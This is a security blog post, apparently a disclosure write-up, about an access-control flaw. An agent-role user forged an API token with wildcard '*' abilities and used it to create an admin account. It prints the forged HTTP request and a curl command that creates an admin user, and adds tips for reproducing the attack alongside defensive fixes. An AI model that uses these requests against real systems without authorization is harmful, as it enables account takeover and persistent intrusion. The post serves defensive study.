How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown

How Security Researcher Turned a Low-Privilege Agent Into an Admin With a Single Request: The Token Forgery Access Control Breakdown

November 18, 2025 7 min read

A deep, defensive breakdown of a P1 privilege escalation flaw where an agent user forged high-privilege access tokens and created admin accounts.




Disclaimer

This article is written for educational and defensive cybersecurity purposes only.
All testing was performed within authorized environments following responsible disclosure guidelines.
Nothing in this post should ever be used illegally.


Introduction

Some vulnerabilities look harmless on the surface… until they open a direct path to full administrative takeover. During a routine exploration of a web application with two simple roles - agent and admin - I stumbled upon a subtle yet catastrophic P1 privilege escalation vulnerability.

At first glance, the “agent” role seemed tightly restricted. It couldn’t manage users, couldn’t view sensitive data, and most importantly, couldn’t create access tokens with admin abilities. At least, that’s what the user interface suggested.

But what the UI denies, the backend sometimes quietly allows.

What began as a normal access control enumeration session turned into a complete privilege escalation chain, allowing:

  • Full admin-level API token creation
  • Arbitrary admin account creation
  • Long-term persistence through backdoor admin users
  • Potential system-wide compromise

This post breaks down the exact thought process, request analysis, server trust failure, and defensive remediation needed to prevent such a disaster. It is designed as a comprehensive learning resource for both beginners and advanced testers.

Let’s dive deep.


Understanding the Application

The application I was testing had two visible roles:

  • agent (low privilege)
  • admin (high privilege)

Agents were support-level users:
They could view customer information, respond to tickets, and access only limited endpoints.

Admins, on the other hand, had full control:

  • Create/edit/delete users
  • Access sensitive analytics
  • Manage system configuration
  • Issue full-power API tokens

The system used a familiar API-token model:
Users could create access tokens for programmatic access to the API, selecting what “abilities” the token should have.

A secure implementation should ignore whatever abilities the client requests and instead calculate allowed abilities on the server side based on the role of the requester.

But here…
The server trusted everything the client asked for.

This single flaw created a complete security meltdown.


The First Red Flag: Token Creation Attempt

When logged in as an agent, the UI clearly blocked token creation.
But curiosity demanded interception.

So I captured the token creation request using Burp Suite.

The original UI-blocked request looked like this:

POST /auth/user/tokens HTTP/1.1
Content-Type: application/json

{ "name": "Agent Access Token", "abilities": ["tickets:read"] }
HTTP

The backend replied with:

“Agents cannot create tokens.”

A normal, expected response.

But what if I removed the UI restrictions and manually forged the request?


The Breakthrough: Forging the Token Creation Request

The request structure was interesting because the client decided the list of abilities:

{
  "name": "1",
  "abilities": ["*"]
}
JSON

The asterisk "*" was used for full admin-level permissions.

So I replaced the agent’s blocked UI request with this forged request, including the agent’s cookie and CSRF token:

POST /auth/user/tokens HTTP/2
Host: yourdomain.com
Cookie: <agent-session-cookie>
X-Xsrf-Token: <agent-csrf-token>
Content-Type: application/json

{"name":"1","abilities":["*"]}
HTTP

What happened next shouldn’t happen on any secure system.

The server responded with:

{
  "data": {
    "token": "aoRosTgJf2Fn7fHxtCQFk...",
    "client_id": "f671e697d82743d7af6e0f445f5703a6"
  },
  "flash": {
    "type": "success",
    "message": "Access token has been created."
  }
}
JSON

A full-admin access token - created using an agent account.

At this point, the privilege escalation was complete.
But I wanted to test its true power.

Screenshot of the HTTP response body displaying the newly generated, forged access token.


Using the Forged Admin Token to Create an Admin User

Next, I checked the application’s API documentation and found a user-creation endpoint that allowed specifying roles.

Admin accounts were created using this payload:

curl -i -s -k -X POST \
-H "Host: yourdomain.com" \
-H "Authorization: Bearer <FORGED_ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
"https://yourdomain.com/users/" \
--data-binary '{
  "name":"1",
  "email":"1@1.om",
  "password":"1@12!@123",
  "timezone":null,
  "locale":"en-US",
  "avatar":"",
  "roles":["admin"],
  "send_invite_email":1,
  "teams":[],
  "username":"1",
  "organization_id":"0"
}'
Bash

The server accepted the request and created a fully privileged admin user.

With that, the attack chain was complete:

agent → forged admin token → permanent admin account → total system control

This is the cybersecurity version of turning a bicycle into a Ferrari with one bolt removal.

Screenshot of the full HTTP request used to manipulate parameters and forge the token creation process.


Why This Vulnerability Happened

To understand the root cause, you have to think like the backend.

The server trusted user-supplied ability values.

Instead of checking:

  • “Is the requesting user allowed to create admin-level tokens?”
  • “Does their role permit this ability set?”
  • “Is the request exceeding their privilege?”

The server simply minted whatever abilities the client requested.

This is a textbook example of broken access control.

Vulnerability Classifications:

  • IDOR (indirect) via role bypass
  • Privilege escalation
  • Server trusting client-supplied roles/scopes
  • Absence of server-side validation
  • Failure to enforce least privilege

This single mistake collapsed the entire security model.


Beginner Breakout: Why Scopes Matter

For newcomers, abilities/scopes in API tokens determine what actions a bearer can perform.

Example scopes:

  • tickets:read
  • users:create
  • admin:*

If the server trusts the client to declare these scopes, an attacker can simply request "*" and become king of the system.

Scopes MUST always be computed server-side.


Security Deep Dive: The Anatomy of the Failure

Below is how the backend SHOULD have worked, but didn’t.

Correct server-side logic

  • Get the user’s actual role from the database
  • Map that role to allowed abilities
  • Intersect requested abilities with allowed abilities
  • Reject excessive scopes

Actual server behavior

  • Accept whatever the client asked
  • Mint a token based entirely on client input
  • Do not verify permissions
  • Do not restrict privilege elevation

This failure is equivalent to:

A cashier asking you what salary you want deposited instead of checking HR records.


Defensive Perspective: How to Fix This Vulnerability

This vulnerability can be eliminated permanently with proper server-side checks.

1. Enforce server-side validation

user_allowed = get_allowed_abilities_for(user)

if not requested_abilities.issubset(user_allowed):
    return error(403, "Requested abilities exceed your permissions")
Python

Never trust abilities coming from the client.

2. Never allow free-form permissions

Use predefined server-managed scope lists.

3. Avoid "*" wildcard abilities entirely

Wildcards in permission systems are dangerous.

4. Add secondary approval for admin-level tokens

MFA, admin approval, or workflow enforcement.

5. Log and monitor token creation

Alert when tokens contain sensitive abilities.

6. Write automated tests to catch privilege escalation

All modern CI pipelines should test:

  • low-priv → high-priv request
  • invalid roles
  • excessive ability requests

7. Conduct regular threat modeling

Especially around:

  • authentication
  • authorization
  • token issuance
  • admin workflows

Troubleshooting & Common Pitfalls

1. “Why can’t I reproduce the bug?”

Some systems revoke tokens quickly.
Make sure the token is used instantly.

2. “Why does my forged request return 419 / 403?”

Try:

  • updating CSRF token
  • updating session cookie
  • ensuring JSON formatting is correct

3. “The UI blocks token creation.”

Use Burp Suite or a proxy.
The UI is irrelevant; the API is what matters.

4. “Abilities are ignored in the UI.”

Check the backend - not the interface.


Final Thoughts

This vulnerability is a perfect demonstration that:

  • Access control belongs on the server, not the client.
  • UI restrictions are not security controls.
  • One endpoint with weak validation can compromise the entire system.

A low-privilege agent account becoming a full administrator with a single request is the definition of P1 Critical.
The impact includes:

  • Full account takeover
  • Complete admin privilege
  • Permanent persistence
  • Data manipulation and deletion
  • Operational collapse

This is why every developer and every security engineer should understand - deeply - how dangerous it is to trust the client.

Keep hunting, keep learning, and keep building safer systems.


References

  • OWASP ASVS – Access Control
  • OWASP Top 10 – Broken Access Control
  • NIST 800-63 – Access Management Standards
  • JSON Web Token RFC 7519
  • OAuth 2.0 Security Best Current Practice

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts

For any queries or professional discussions: herish.chaniyara@gmail.com